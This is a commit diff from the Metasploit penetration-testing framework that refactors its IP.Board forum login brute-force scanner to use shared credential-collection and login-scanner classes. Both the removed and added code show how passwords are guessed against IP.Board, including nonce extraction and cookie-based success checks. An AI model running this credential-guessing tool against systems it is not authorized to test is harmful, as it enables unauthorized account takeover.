refactor the ipboard-login module

now that we have the loginScanner class, we simplify the module
by using the scanner and credcollection classes to handle all
the real work for us

Author: David Maloney

modules/auxiliary/scanner/http/ipboard_login.rb

@@ -1,5 +1,6 @@
 
 require 'msf/core'
+require 'metasploit/framework/login_scanner/ipboard'
 
 class Metasploit3 < Msf::Auxiliary
 
@@ -25,115 +26,49 @@ def initialize
   end
 
   def run_host(ip)
-    connect
-
-    each_user_pass do |user, pass|
-      do_login(user, pass, ip)
-    end
-  end
-
-  def do_login(user, pass, ip)
-    begin
-      print_status "#{peer} - Connecting to target, searching for IP Board server nonce..."
-
-      # Perform the initial request and find the server nonce, which is required to log
-      # into IP Board
-      res = send_request_cgi({
-        'uri'     => normalize_uri(target_uri.path),
-        'method'  => 'GET'
-        }, 10)
-
-      unless res
-        print_error "#{peer} No response when trying to connect"
-        return :connection_error
-      end
-
-      # Grab the key from within the body, or alert that it can't be found and exit out
-      if res.body =~ /name='auth_key'\s+value='.*?((?:[a-z0-9]*))'/i
-        server_nonce = $1
-        print_status "#{peer} Server nonce found, attempting to log in..."
-      else
-        print_error "#{peer} Server nonce not present, potentially not an IP Board install or bad URI."
-        print_error "#{peer} Skipping..."
-        return :abort
-      end
-
-      # With the server nonce found, try to log into IP Board with the user provided creds
-      res2 = send_request_cgi({
-        'uri'     => normalize_uri(target_uri.path, "index.php?app=core&module=global&section=login&do=process"),
-        'method'  => 'POST',
-        'vars_post'      => {
-          'auth_key'     => server_nonce,
-          'ips_username' => user,
-          'ips_password' => pass
-        }
-        })
-
-      # Default value of no creds found
-      valid_creds = false
-
-      # Iterate over header response.  If the server is setting the ipsconnect and coppa cookie
-      # then we were able to log in successfully.  If they are not set, invalid credentials were
-      # provided.
+    cred_collection = Metasploit::Framework::CredentialCollection.new(
+        blank_passwords: datastore['BLANK_PASSWORDS'],
+        pass_file: datastore['PASS_FILE'],
+        password: datastore['PASSWORD'],
+        user_file: datastore['USER_FILE'],
+        userpass_file: datastore['USERPASS_FILE'],
+        username: datastore['USERNAME'],
+        user_as_pass: datastore['USER_AS_PASS'],
+    )
 
-      if res2.get_cookies.include?('ipsconnect') && res2.get_cookies.include?('coppa')
-        valid_creds = true
-      end
+    scanner = Metasploit::Framework::LoginScanner::IPBoard.new(
+        host: ip,
+        port: rport,
+        uri: normalize_uri(target_uri.path),
+        proxies: datastore["PROXIES"],
+        cred_details: cred_collection,
+        stop_on_success: datastore['STOP_ON_SUCCESS'],
+        connection_timeout: 5,
+    )
 
-      # Inform the user if the user supplied credentials were valid or not
-      if valid_creds
-        print_good "#{peer} Username: #{user} and Password: #{pass} are valid credentials!"
-        register_creds(user, pass, ip)
-        return :next_user
-      else
-        vprint_error "#{peer} Username: #{user} and Password: #{pass} are invalid credentials!"
-        return nil
+    scanner.scan! do |result|
+      credential_data = result.to_h
+      credential_data.merge!(
+          module_fullname: self.fullname,
+          workspace_id: myworkspace_id
+      )
+      case result.status
+        when Metasploit::Model::Login::Status::SUCCESSFUL
+          print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'"
+          credential_core = create_credential(credential_data)
+          credential_data[:core] = credential_core
+          create_credential_login(credential_data)
+          :next_user
+        when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
+          print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
+          invalidate_login(credential_data)
+          :abort
+        when Metasploit::Model::Login::Status::INCORRECT
+          print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}' #{result.proof}"
+          invalidate_login(credential_data)
       end
-
-    rescue ::Timeout::Error
-      print_error "#{peer} Connection timed out while attempting to connect!"
-      return :connection_error
-
-    rescue ::Errno::EPIPE
-      print_error "#{peer} Broken pipe error when connecting!"
-      return :connection_error
     end
-  end
-
-  def register_creds(username, password, ipaddr)
-    # Build service information
-    service_data = {
-      address: ipaddr,
-      port: datastore['RPORT'],
-      service_name: 'http',
-      protocol: 'tcp',
-      workspace_id: myworkspace_id
-    }
-
-    # Build credential information
-    credential_data = {
-      origin_type: :service,
-      module_fullname: self.fullname,
-      private_data: password,
-      private_type: :password,
-      username: username,
-      workspace_id: myworkspace_id
-    }
-
-    credential_data.merge!(service_data)
-    credential_core = create_credential(credential_data)
-
-    # Assemble the options hash for creating the Metasploit::Credential::Login object
-    login_data = {
-      access_level: "user",
-      core: credential_core,
-      last_attempted_at: DateTime.now,
-      status: Metasploit::Model::Login::Status::SUCCESSFUL,
-      workspace_id: myworkspace_id
-    }
 
-    login_data.merge!(service_data)
-    create_credential_login(login_data)
   end
 
 end